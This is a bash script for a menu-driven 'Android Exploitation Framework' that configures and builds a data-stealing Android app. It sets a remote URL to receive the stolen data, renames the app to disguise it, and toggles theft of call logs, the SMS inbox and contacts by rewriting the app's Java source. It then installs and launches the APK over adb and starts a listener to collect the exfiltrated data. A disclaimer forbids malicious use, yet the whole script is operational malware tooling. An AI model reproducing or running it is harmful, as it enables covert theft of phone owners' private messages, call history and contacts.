#!/bin/bash
#--------------------------------------------------------------------------------#
# Android Framework for Exploitation v-1                                                        
# (C)opyright 2010 - XYS3C                                                                     
#---Important------------------------------------------------------------------#
#                     *** Do NOT use this for illegal or malicious use ***                     
#              The programs are provided as is without any guarantees or warranty.             
#---Defaults-----------------------------------------------------------------#
# ---- Add adb parameters here for more info -----------------------------------#
clear
headr(){
echo "
---The Android Exploitation Framework ---
 _______  _______  _______    _               _______     __   
(  ___  )(  ____ \(  ____ \  ( )  |\     /|  (  __   )   /  \  
| (   ) || (    \/| (    \/  | |  | )   ( |  | (  )  |   \/) ) 
| (___) || (__    | (__      (_)  | |   | |  | | /   |     | | 
|  ___  ||  __)   |  __)      _   ( (   ) )  | (/ /) |     | | 
| (   ) || (      | (        ( )   \ \_/ /   |   / | |     | | 
| )   ( || )      | (____/\  | |    \   /    |  (__) | _ __) (_
|/     \||/       (_______/  (_)     \_/     (_______)(_)\____/
                                                               
Copyright Reserved : XYS3C (Visit us at http://xysec.com)                                                       
"
}
devices(){
echo "Current devices attached are" 
adb devices
read tmp
menu
}
revip(){
    urlvalid='(https?|ftp|file)://[-A-Za-z0-9\+&@#/%?=~_|!:,.;]*[-A-Za-z0-9\+&@#/%=~_|]'
    ips=`ifconfig en1 | grep inet | grep -v inet6 | cut -c 7-17`
    echo "Set your reverse IP, you can either start the listener and listen" 
    echo "or send data to your own server by providing full path including http://

    "
    echo "Set your IP listener as http://$ips:8888 for default listener
    "
    read ip_ad
    if [[ $ip_ad =~ $urlvalid ]]
    then 
        echo "Link added"
        sed "6s!.*!<string name=\"urlsms\">$ip_ad</string>!" ./internals/malware/res/values/strings.xml > file.txt.tmp
        mv file.txt.tmp ./internals/malware/res/values/strings.xml
        sed "7s!.*!<string name=\"urlcont\">$ip_ad</string>!" ./internals/malware/res/values/strings.xml > file.txt.tmp
        mv file.txt.tmp ./internals/malware/res/values/strings.xml
        sed "8s!.*!<string name=\"urlcal\">$ip_ad</string>!" ./internals/malware/res/values/strings.xml > file.txt.tmp
        mv file.txt.tmp ./internals/malware/res/values/strings.xml
        malware
    else
        echo "Link not valid remember should be http://urlhere.com/ or http://ip.addr.her.e/"
        revip
    fi
    
}
appname(){
    echo "Enter the name you wish to give this app"
    read app_name
    sed "5s!.*!<string name=\"app_name\">$app_name</string>!" ./internals/malware/res/values/strings.xml > file.txt.tmp
    mv file.txt.tmp ./internals/malware/res/values/strings.xml
    malware
}
upload(){
    if [ -f ./bin/xr0r.apk ]
    then
        adb uninstall com.xysecv3
        adb install ./bin/xr0r.apk
        adb shell am start -n com.xysecv3/.Xysecv3Activity
        echo "Starting listener, press Ctrl+C to exit listener"
        python postdata.py
    else
        echo "You did not build the app, define it in the stealer"
        read buf
    fi
    malware
}

c(){
sed "63s!.*!startr(0, 1, 0);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
s(){
sed "63s!.*!startr(0, 0, 1);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
co(){
sed "63s!.*!startr(1, 0, 0);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
cs(){
sed "63s!.*!startr(0, 1, 1);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
cc(){
sed "63s!.*!startr(1, 1, 0);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
sc(){
sed "63s!.*!startr(1, 0, 1);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
a(){
sed "63s!.*!startr(1, 1, 1);!" ./internals/malware/src/com/xysecv3/Xysecv3Activity.java > file.txt.tmp
mv file.txt.tmp ./internals/malware/src/com/xysecv3/Xysecv3Activity.java
malware
}
steal() {
    clear
    headr
echo "
[0] Steal Call Logs only
[1] Steal SMS Inbox only
[2] Steal Contacts only
[3] Steal Call Logs and SMS
[4] Steal Call Logs and Contacts
[5] Steal SMS and Contacts
[6] Steal all
[7] Back
"
read selection1
case $selection1 in
0) c;;
1) s;;
2) co;;
3) cs;;
4) cc;;
5) sc;;
6) a;;
7) malware;;
esac
}

build(){
(cd internals/malware && ./script.sh )
malware
}
malware(){
clear
headr
echo "
[0] Set Reverse IP
[1] Change APP Name
[2] Stealer
[3] Build it !
[4] Upload malformed APK
[5] List connected devices
[6] Back
"
read selection1
case $selection1 in
0) revip;;
1) appname;;
2) steal;;
3) build;;
4) upload;;
5) devices;;
6) menu;;
esac

}
listener(){
xterm -e python &
echo "Wait for sometime"
sleep 25
clear
echo "Server listener killed. Getting the output"
grep -oP '(?<=GET\s/)\w+' logpython.txt 
}
menu() {
clear
exit 1
}
malware
